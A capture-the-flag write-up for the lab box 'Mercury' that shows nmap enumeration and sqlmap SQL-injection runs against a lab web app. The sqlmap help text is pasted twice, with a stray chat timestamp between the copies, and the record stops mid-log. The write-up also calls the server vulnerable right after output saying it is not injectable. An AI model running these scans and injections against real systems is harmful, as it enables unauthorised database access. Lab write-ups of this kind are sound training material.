Mercury is an easier box, with no bruteforcing required. There are two flags on the box: a user and root flag which include an md5 hash. This has been tested on VirtualBox so may not work correctly on VMware.
We have discovered an IP address, so let’s Perform a network scan to detect what ports are open is already known as an essential part of the enumeration process. This offers us the opportunity to better understand the attacking surface and design targeted attacks. As in most cases, we are going to use the famous Nmap tool.
-sV: Enables version detection, which will detect what versions are running on what port.
┌──(rootharsh㉿kali)-[~]
└─$ nmap -sV -T5 192.168.56.106
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-21 12:28 IST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.106
Host is up (0.0013s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
8080/tcp open http-proxy WSGIServer/0.2 CPython/3.8.2
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.93%I=7%D=3/21%Time=64195595%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,135,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Tue,\x2021\x20Mar\x202
SF:023\x2006:58:28\x20GMT\r\nServer:\x20WSGIServer/0\.2\x20CPython/3\.8\.2
SF:\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nX-Frame-Options:\x2
SF:0DENY\r\nContent-Length:\x2069\r\nX-Content-Type-Options:\x20nosniff\r\
SF:nReferrer-Policy:\x20same-origin\r\n\r\nHello\.\x20This\x20site\x20is\x
SF:20currently\x20in\x20development\x20please\x20check\x20back\x20later\."
SF:)%r(HTTPOptions,135,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Tue,\x2021\x20M
SF:ar\x202023\x2006:58:28\x20GMT\r\nServer:\x20WSGIServer/0\.2\x20CPython/
SF:3\.8\.2\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nX-Frame-Opti
SF:ons:\x20DENY\r\nContent-Length:\x2069\r\nX-Content-Type-Options:\x20nos
SF:niff\r\nReferrer-Policy:\x20same-origin\r\n\r\nHello\.\x20This\x20site\
SF:x20is\x20currently\x20in\x20development\x20please\x20check\x20back\x20l
SF:ater\.")%r(RTSPRequest,1F4,"<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//W3C//DT
SF:D\x20HTML\x204\.01//EN\"\n\x20\x20\x20\x20\x20\x20\x20\x20\"http://www\
SF:.w3\.org/TR/html4/strict\.dtd\">\n<html>\n\x20\x20\x20\x20<head>\n\x20\
SF:x20\x20\x20\x20\x20\x20\x20<meta\x20http-equiv=\"Content-Type\"\x20cont
SF:ent=\"text/html;charset=utf-8\">\n\x20\x20\x20\x20\x20\x20\x20\x20<titl
SF:e>Error\x20response</title>\n\x20\x20\x20\x20</head>\n\x20\x20\x20\x20<
SF:body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20response</h1>\n\x20
SF:\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:\x20400</p>\n\x20\x20\x20\
SF:x20\x20\x20\x20\x20<p>Message:\x20Bad\x20request\x20version\x20\('RTSP/
SF:1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code\x20expl
SF:anation:\x20HTTPStatus\.BAD_REQUEST\x20-\x20Bad\x20request\x20syntax\x2
SF:0or\x20unsupported\x20method\.</p>\n\x20\x20\x20\x20</body>\n</html>\n"
SF:)%r(FourOhFourRequest,A28,"HTTP/1\.1\x20404\x20Not\x20Found\r\nDate:\x2
SF:0Tue,\x2021\x20Mar\x202023\x2006:58:28\x20GMT\r\nServer:\x20WSGIServer/
SF:0\.2\x20CPython/3\.8\.2\r\nContent-Type:\x20text/html\r\nX-Frame-Option
SF:s:\x20DENY\r\nContent-Length:\x202366\r\nX-Content-Type-Options:\x20nos
SF:niff\r\nReferrer-Policy:\x20same-origin\r\n\r\n<!DOCTYPE\x20html>\n<htm
SF:l\x20lang=\"en\">\n<head>\n\x20\x20<meta\x20http-equiv=\"content-type\"
SF:\x20content=\"text/html;\x20charset=utf-8\">\n\x20\x20<title>Page\x20no
SF:t\x20found\x20at\x20/nice\x20ports,/Trinity\.txt\.bak</title>\n\x20\x20
SF:<meta\x20name=\"robots\"\x20content=\"NONE,NOARCHIVE\">\n\x20\x20<style
SF:\x20type=\"text/css\">\n\x20\x20\x20\x20html\x20\*\x20{\x20padding:0;\x
SF:20margin:0;\x20}\n\x20\x20\x20\x20body\x20\*\x20{\x20padding:10px\x2020
SF:px;\x20}\n\x20\x20\x20\x20body\x20\\x20\\x20{\x20padding:0;\x20}\n\x2
SF:0\x20\x20\x20body\x20{\x20font:small\x20sans-serif;\x20background:#eee;
SF:\x20color:#000;\x20}\n\x20\x20\x20\x20body>div\x20{\x20border-bottom:1p
SF:x\x20solid\x20#ddd;\x20}\n\x20\x20\x20\x20h1\x20{\x20font-weight:normal
SF:;\x20margin-bottom:\.4em;\x20}\n\x20\x20\x20\x20h1\x20span\x20{\x20font
SF:-size:60%;\x20color:#666;\x20font-weight:normal;\x20}\n\x20\x20\x20\x20
SF:table\x20{\x20border:none;\x20border-collapse:\x20collapse;\x20width:10
SF:0%;\x20}\n\x20\x20\x20\x20td,\x20th\x20{\x20vertical-align:");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 93.38 seconds
┌──(rootharsh㉿kali)-[~]
└─$
From the network scan(Nmap), we have spotted 2 open ports.
Port 22/TCP running an ssh service, which means that if you have a valid credential then it will be easy to gain login access to the server.
Port 8080/TCP running an HTTP-proxy service, which indicates that there is a website running state.
To look at the contents ourselves, we can open a web browser of our choice and navigate to the target’s IP address along with the port 8080 in the URL bar at the top of the window:
This might be in the developing stage and there is nothing to enumerate on the webpage. There might be any hidden or hardly accessible directories and pages, and that can be done through directory busting.
As a result of Directory busting, we obtained an important file i.e., robots.txt. Let’s dig into this directory and find out if there is any sensitive information that might help us in foothold.
Step 2:- (Foothold)
After analyzing the robots.txt file, we have finalized that there is an error page, which can be accessed through an at the rate(@).
This error page may be indicated an another directory . So, let’s access the identified folder “mercuryfacts/” on the browser.
On accessing the mercury facts directory, we found a hyperlink consisting of a fact (Load a fact).
So now click on load a fact. It will redirect to an another page.
By checking the URL, we conclude that there may be a variable id that is responsible for all these. We could test it to see if it’s SQL injectable but instead of doing it manually, we will use a tool called sqlmap.
Sqlmap comes pre-installed with Kali Linux.
┌──(rootharsh㉿kali)-[~]
└─$ sqlmap –help
_
_H_
_ _[']__ __ _ {1.7.2#stable}
|_ -| . [,] | .'| . |
|_|_ [']|||_,| _|
||V... || https://sqlmap.org
Usage: python3 sqlmap [options]
Options:
-h, --help Show basic help message and exit
-hh Show advanced help message and exit
--version Show program's version number and exit
-v VERBOSE Verbosity level: 0-6 (default 1)
Target:
At least one of these options has to be provided to define the
target(s)
-u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1")
-d DIRECT Connection string for direct database connection
-l LOGFILE Parse target(s) from Burp or WebScarab…
[11:49 AM, 3/23/2023] Harsh Joshi: ┌──(rootharsh㉿kali)-[~]
└─$ sqlmap –help
_
_H_
_ _[']__ __ _ {1.7.2#stable}
|_ -| . [,] | .'| . |
|_|_ [']|||_,| _|
||V... || https://sqlmap.org
Usage: python3 sqlmap [options]
Options:
-h, --help Show basic help message and exit
-hh Show advanced help message and exit
--version Show program's version number and exit
-v VERBOSE Verbosity level: 0-6 (default 1)
Target:
At least one of these options has to be provided to define the
target(s)
-u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1")
-d DIRECT Connection string for direct database connection
-l LOGFILE Parse target(s) from Burp or WebScarab proxy log file
-m BULKFILE Scan multiple targets given in a textual file
-r REQUESTFILE Load HTTP request from a file
-g GOOGLEDORK Process Google dork results as target URLs
-c CONFIGFILE Load options from a configuration INI file
Request:
These options can be used to specify how to connect to the target URL
-A AGENT, --user.. HTTP User-Agent header value
-H HEADER, --hea.. Extra header (e.g. "X-Forwarded-For: 127.0.0.1")
--method=METHOD Force usage of given HTTP method (e.g. PUT)
--data=DATA Data string to be sent through POST (e.g. "id=1")
--param-del=PARA.. Character used for splitting parameter values (e.g. &)
--cookie=COOKIE HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
--cookie-del=COO.. Character used for splitting cookie values (e.g. ;)
--live-cookies=L.. Live cookies file used for loading up-to-date values
--load-cookies=L.. File containing cookies in Netscape/wget format
--drop-set-cookie Ignore Set-Cookie header from response
--mobile Imitate smartphone through HTTP User-Agent header
--random-agent Use randomly selected HTTP User-Agent header value
--host=HOST HTTP Host header value
--referer=REFERER HTTP Referer header value
--headers=HEADERS Extra headers (e.g. "Accept-Language: fr\nETag: 123")
--auth-type=AUTH.. HTTP authentication type (Basic, Digest, Bearer, ...)
--auth-cred=AUTH.. HTTP authentication credentials (name:password)
--auth-file=AUTH.. HTTP authentication PEM cert/private key file
--abort-code=ABO.. Abort on (problematic) HTTP error code(s) (e.g. 401)
--ignore-code=IG.. Ignore (problematic) HTTP error code(s) (e.g. 401)
--ignore-proxy Ignore system default proxy settings
--ignore-redirects Ignore redirection attempts
--ignore-timeouts Ignore connection timeouts
--proxy=PROXY Use a proxy to connect to the target URL
--proxy-cred=PRO.. Proxy authentication credentials (name:password)
--proxy-file=PRO.. Load proxy list from a file
--proxy-freq=PRO.. Requests between change of proxy from a given list
--tor Use Tor anonymity network
--tor-port=TORPORT Set Tor proxy port other than default
--tor-type=TORTYPE Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))
--check-tor Check to see if Tor is used properly
--delay=DELAY Delay in seconds between each HTTP request
--timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
--retries=RETRIES Retries when the connection timeouts (default 3)
--retry-on=RETRYON Retry request on regexp matching content (e.g. "drop")
--randomize=RPARAM Randomly change value for given parameter(s)
--safe-url=SAFEURL URL address to visit frequently during testing
--safe-post=SAFE.. POST data to send to a safe URL
--safe-req=SAFER.. Load safe HTTP request from a file
--safe-freq=SAFE.. Regular requests between visits to a safe URL
--skip-urlencode Skip URL encoding of payload data
--csrf-token=CSR.. Parameter used to hold anti-CSRF token
--csrf-url=CSRFURL URL address to visit for extraction of anti-CSRF token
--csrf-method=CS.. HTTP method to use during anti-CSRF token page visit
--csrf-data=CSRF.. POST data to send during anti-CSRF token page visit
--csrf-retries=C.. Retries for anti-CSRF token retrieval (default 0)
--force-ssl Force usage of SSL/HTTPS
--chunked Use HTTP chunked transfer encoded (POST) requests
--hpp Use HTTP parameter pollution method
--eval=EVALCODE Evaluate provided Python code before the request (e.g.
"import hashlib;id2=hashlib.md5(id).hexdigest()")
Optimization:
These options can be used to optimize the performance of sqlmap
-o Turn on all optimization switches
--predict-output Predict common queries output
--keep-alive Use persistent HTTP(s) connections
--null-connection Retrieve page length without actual HTTP response body
--threads=THREADS Max number of concurrent HTTP(s) requests (default 1)
Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts
-p TESTPARAMETER Testable parameter(s)
--skip=SKIP Skip testing for given parameter(s)
--skip-static Skip testing parameters that not appear to be dynamic
--param-exclude=.. Regexp to exclude parameters from testing (e.g. "ses")
--param-filter=P.. Select testable parameter(s) by place (e.g. "POST")
--dbms=DBMS Force back-end DBMS to provided value
--dbms-cred=DBMS.. DBMS authentication credentials (user:password)
--os=OS Force back-end DBMS operating system to provided value
--invalid-bignum Use big numbers for invalidating values
--invalid-logical Use logical operations for invalidating values
--invalid-string Use random strings for invalidating values
--no-cast Turn off payload casting mechanism
--no-escape Turn off string escaping mechanism
--prefix=PREFIX Injection payload prefix string
--suffix=SUFFIX Injection payload suffix string
--tamper=TAMPER Use given script(s) for tampering injection data
Detection:
These options can be used to customize the detection phase
--level=LEVEL Level of tests to perform (1-5, default 1)
--risk=RISK Risk of tests to perform (1-3, default 1)
--string=STRING String to match when query is evaluated to True
--not-string=NOT.. String to match when query is evaluated to False
--regexp=REGEXP Regexp to match when query is evaluated to True
--code=CODE HTTP code to match when query is evaluated to True
--smart Perform thorough tests only if positive heuristic(s)
--text-only Compare pages based only on the textual content
--titles Compare pages based only on their titles
Techniques:
These options can be used to tweak testing of specific SQL injection
techniques
--technique=TECH.. SQL injection techniques to use (default "BEUSTQ")
--time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
--union-cols=UCOLS Range of columns to test for UNION query SQL injection
--union-char=UCHAR Character to use for bruteforcing number of columns
--union-from=UFROM Table to use in FROM part of UNION query SQL injection
--dns-domain=DNS.. Domain name used for DNS exfiltration attack
--second-url=SEC.. Resulting page URL searched for second-order response
--second-req=SEC.. Load second-order HTTP request from file
Fingerprint:
-f, --fingerprint Perform an extensive DBMS version fingerprint
Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables
-a, --all Retrieve everything
-b, --banner Retrieve DBMS banner
--current-user Retrieve DBMS current user
--current-db Retrieve DBMS current database
--hostname Retrieve DBMS server hostname
--is-dba Detect if the DBMS current user is DBA
--users Enumerate DBMS users
--passwords Enumerate DBMS users password hashes
--privileges Enumerate DBMS users privileges
--roles Enumerate DBMS users roles
--dbs Enumerate DBMS databases
--tables Enumerate DBMS database tables
--columns Enumerate DBMS database table columns
--schema Enumerate DBMS schema
--count Retrieve number of entries for table(s)
--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases tables entries
--search Search column(s), table(s) and/or database name(s)
--comments Check for DBMS comments during enumeration
--statements Retrieve SQL statements being run on DBMS
-D DB DBMS database to enumerate
-T TBL DBMS database table(s) to enumerate
-C COL DBMS database table column(s) to enumerate
-X EXCLUDE DBMS database identifier(s) to not enumerate
-U USER DBMS user to enumerate
--exclude-sysdbs Exclude DBMS system databases when enumerating tables
--pivot-column=P.. Pivot column name
--where=DUMPWHERE Use WHERE condition while table dumping
--start=LIMITSTART First dump table entry to retrieve
--stop=LIMITSTOP Last dump table entry to retrieve
--first=FIRSTCHAR First query output word character to retrieve
--last=LASTCHAR Last query output word character to retrieve
--sql-query=SQLQ.. SQL statement to be executed
--sql-shell Prompt for an interactive SQL shell
--sql-file=SQLFILE Execute SQL statements from given file(s)
Brute force:
These options can be used to run brute force checks
--common-tables Check existence of common tables
--common-columns Check existence of common columns
--common-files Check existence of common files
User-defined function injection:
These options can be used to create custom user-defined functions
--udf-inject Inject custom user-defined functions
--shared-lib=SHLIB Local path of the shared library
File system access:
These options can be used to access the back-end database management
system underlying file system
--file-read=FILE.. Read a file from the back-end DBMS file system
--file-write=FIL.. Write a local file on the back-end DBMS file system
--file-dest=FILE.. Back-end DBMS absolute filepath to write to
Operating system access:
These options can be used to access the back-end database management
system underlying operating system
--os-cmd=OSCMD Execute an operating system command
--os-shell Prompt for an interactive operating system shell
--os-pwn Prompt for an OOB shell, Meterpreter or VNC
--os-smbrelay One click prompt for an OOB shell, Meterpreter or VNC
--os-bof Stored procedure buffer overflow exploitation
--priv-esc Database process user privilege escalation
--msf-path=MSFPATH Local path where Metasploit Framework is installed
--tmp-path=TMPPATH Remote absolute path of temporary files directory
Windows registry access:
These options can be used to access the back-end database management
system Windows registry
--reg-read Read a Windows registry key value
--reg-add Write a Windows registry key value data
--reg-del Delete a Windows registry key value
--reg-key=REGKEY Windows registry key
--reg-value=REGVAL Windows registry key value
--reg-data=REGDATA Windows registry key value data
--reg-type=REGTYPE Windows registry key value type
General:
These options can be used to set some general working parameters
-s SESSIONFILE Load session from a stored (.sqlite) file
-t TRAFFICFILE Log all HTTP traffic into a textual file
--abort-on-empty Abort data retrieval on empty results
--answers=ANSWERS Set predefined answers (e.g. "quit=N,follow=N")
--base64=BASE64P.. Parameter(s) containing Base64 encoded data
--base64-safe Use URL and filename safe Base64 alphabet (RFC 4648)
--batch Never ask for user input, use the default behavior
--binary-fields=.. Result fields having binary values (e.g. "digest")
--check-internet Check Internet connection before assessing the target
--cleanup Clean up the DBMS from sqlmap specific UDF and tables
--crawl=CRAWLDEPTH Crawl the website starting from the target URL
--crawl-exclude=.. Regexp to exclude pages from crawling (e.g. "logout")
--csv-del=CSVDEL Delimiting character used in CSV output (default ",")
--charset=CHARSET Blind SQL injection charset (e.g. "0123456789abcdef")
--dump-file=DUMP.. Store dumped data to a custom file
--dump-format=DU.. Format of dumped data (CSV (default), HTML or SQLITE)
--encoding=ENCOD.. Character encoding used for data retrieval (e.g. GBK)
--eta Display for each output the estimated time of arrival
--flush-session Flush session files for current target
--forms Parse and test forms on target URL
--fresh-queries Ignore query results stored in session file
--gpage=GOOGLEPAGE Use Google dork results from specified page number
--har=HARFILE Log all HTTP traffic into a HAR file
--hex Use hex conversion during data retrieval
--output-dir=OUT.. Custom output directory path
--parse-errors Parse and display DBMS error messages from responses
--preprocess=PRE.. Use given script(s) for preprocessing (request)
--postprocess=PO.. Use given script(s) for postprocessing (response)
--repair Redump entries having unknown character marker (?)
--save=SAVECONFIG Save options to a configuration INI file
--scope=SCOPE Regexp for filtering targets
--skip-heuristics Skip heuristic detection of vulnerabilities
--skip-waf Skip heuristic detection of WAF/IPS protection
--table-prefix=T.. Prefix used for temporary tables (default: "sqlmap")
--test-filter=TE.. Select tests by payloads and/or titles (e.g. ROW)
--test-skip=TEST.. Skip tests by payloads and/or titles (e.g. BENCHMARK)
--web-root=WEBROOT Web server document root directory (e.g. "/var/www")
Miscellaneous:
These options do not fit into any other category
-z MNEMONICS Use short mnemonics (e.g. "flu,bat,ban,tec=EU")
--alert=ALERT Run host OS command(s) when SQL injection is found
--beep Beep on question and/or when vulnerability is found
--dependencies Check for missing (optional) sqlmap dependencies
--disable-coloring Disable console output coloring
--list-tampers Display list of available tamper scripts
--no-logging Disable logging to a file
--offline Work in offline mode (only use session data)
--purge Safely remove all content from sqlmap data directory
--results-file=R.. Location of CSV results file in multiple targets mode
--shell Prompt for an interactive sqlmap shell
--tmp-dir=TMPDIR Local directory for storing temporary files
--unstable Adjust options for unstable connections
--update Update sqlmap
--wizard Simple wizard interface for beginner users
┌──(rootharsh㉿kali)-[~]
└─$
Now open your terminal and type the following command.
There will be some questions that the tool will ask you, you can respond with ‘Yes ‘ or ‘No’, or just by pressing ENTER for the default answer.
┌──(rootharsh㉿kali)-[~]
└─$ sqlmap –u http://192.168.56.106:8080/mercuryfacts/1/
_
_H_
_ _[(]__ __ _ {1.7.2#stable}
|_ -| . [)] | .'| . |
|_|_ [)]|||_,| _|
||V... || https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 12:51:20 /2023-03-21/
[12:51:21] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site.com/article.php?id=1') and without providing any POST parameters through option '--data'
do you want to try URI injections in the target URL itself? [Y/n/q] y
[12:51:26] [INFO] testing connection to the target URL
[12:51:26] [INFO] checking if the target is protected by some kind of WAF/IPS
[12:51:26] [INFO] testing if the target URL content is stable
[12:51:26] [INFO] target URL content is stable
[12:51:26] [INFO] testing if URI parameter '#1*' is dynamic
[12:51:26] [WARNING] URI parameter '#1*' does not appear to be dynamic
[12:51:26] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable
[12:51:26] [INFO] testing for SQL injection on URI parameter '#1*'
[12:51:26] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[12:51:27] [WARNING] reflective value(s) found and filtering out
[12:51:27] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[12:51:27] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[12:51:27] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[12:51:27] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[12:51:28] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[12:51:28] [INFO] testing 'Generic inline queries'
[12:51:28] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[12:51:28] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[12:51:28] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[12:51:28] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[12:51:28] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[12:51:28] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[12:51:28] [INFO] testing 'Oracle AND time-based blind'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] y
[12:52:05] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[12:52:05] [WARNING] URI parameter '#1*' does not seem to be injectable
[12:52:05] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
[12:52:05] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 73 times
[*] ending @ 12:52:05 /2023-03-21/
┌──(rootharsh㉿kali)-[~]
└─$
After analyzing the output, we confirm that this server is vulnerable to SQL injection flaws and is in a critical situation, but the id parameter seems to be doesn’t injectable.
Let’s list information about the existing databases.
So firstly, we have to enter the web URL that we want to check along with the -u parameter.
Now typically, we would want to test whether it is possible to gain access to a database. So we use the –dbs option to do so.
–dbs, lists all the available databases.
–batch is used to never ask for user input, use the default behavior.
This application will tell you that it has identified the database, and ask whether you want to test other database types. You can go ahead and type ‘Y’. Further, it may ask whether you want to test other parameters for vulnerabilities, type ‘Y’ over here as we want to thoroughly test the web application.
┌──(rootharsh㉿kali)-[~]
└─$ sqlmap –u http://192.168.56.106:8080/mercuryfacts/ –dbs –batch
_
_H_
_ _[,]__ __ _ {1.7.2#stable}
|_ -| . ['] | .'| . |
|_|_ [)]|||_,| _|
||V... || https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 12:56:12 /2023-03-21/
[12:56:12] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site.com/article.php?id=1') and without providing any POST parameters through option '--data'
do you want to try URI injections in the target URL itself? [Y/n/q] Y
[12:56:12] [INFO] testing connection to the target URL
[12:56:12] [INFO] checking if the target is protected by some kind of WAF/IPS
[12:56:13] [INFO] testing if the target URL content is stable
[12:56:13] [INFO] target URL content is stable
[12:56:13] [INFO] testing if URI parameter '#1*' is dynamic
got a 301 redirect to 'http://192.168.56.106:8080/mercuryfacts/9242/'. Do you want to follow? [Y/n] Y
[12:56:13] [INFO] URI parameter '#1*' appears to be dynamic
[12:56:15] [INFO] heuristic (basic) test shows that URI parameter '#1*' might be injectable (possible DBMS: 'MySQL')
[12:56:18] [INFO] testing for SQL injection on URI parameter '#1*'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[12:56:18] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[12:56:21] [WARNING] reflective value(s) found and filtering out
[12:56:29] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[12:56:29] [INFO] testing 'Generic inline queries'
[12:56:29] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[12:56:47] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[12:57:12] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)'
[12:57:33] [INFO] testing 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause'
[12:58:08] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)'
[12:58:42] [INFO] testing 'MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)'
[12:59:47] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (ELT)'
[13:00:54] [INFO] testing 'MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (ELT)'
[13:02:05] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (bool*int)'
[13:03:01] [INFO] testing 'MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (bool*int)'
[13:04:24] [INFO] testing 'MySQL boolean-based blind - Parameter replace (MAKE_SET)'
[13:04:24] [INFO] testing 'MySQL boolean-based blind - Parameter replace (MAKE_SET - original value)'
[13:04:24] [INFO] testing 'MySQL boolean-based blind - Parameter replace (ELT)'
[13:04:25] [INFO] testing 'MySQL boolean-based blind - Parameter replace (ELT - original value)'
[13:04:25] [INFO] testing 'MySQL boolean-based blind - Parameter replace (bool*int)'
[13:04:26] [INFO] testing 'MySQL boolean-based blind - Parameter replace (bool*int - original value)'
[13:04:26] [INFO] testing 'MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause'
[13:04:29] [INFO] testing 'MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)'
[13:04:33] [INFO] testing 'MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause'
[13:04:33] [INFO] testing 'MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)'
[13:04:33] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Stacked queries'
[13:05:31] [INFO] testing 'MySQL < 5.0 boolean-based blind - Stacked queries'
[13:05:31] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[13:06:11] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[13:06:49] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[13:07:22] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[13:08:02] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[13:08:33] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[13:08:54] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[13:09:20] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[13:09:56] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[13:10:32] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[13:11:08] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[13:11:43] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[13:12:13] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[13:12:41] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[13:13:16] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[13:13:54] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[13:14:35] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
[13:14:52] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[13:15:16] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[13:15:17] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[13:15:17] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)'
[13:15:18] [INFO] URI parameter '#1*' is 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)' injectable
[13:15:18] [INFO] testing 'MySQL inline queries'
[13:15:18] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[13:15:18] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[13:15:18] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[13:15:19] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[13:15:19] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
[13:15:19] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
[13:15:19] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[13:15:20] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (query SLEEP)'
[13:15:20] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SLEEP)'
[13:15:21] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (SLEEP)'
[13:15:21] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SLEEP - comment)'
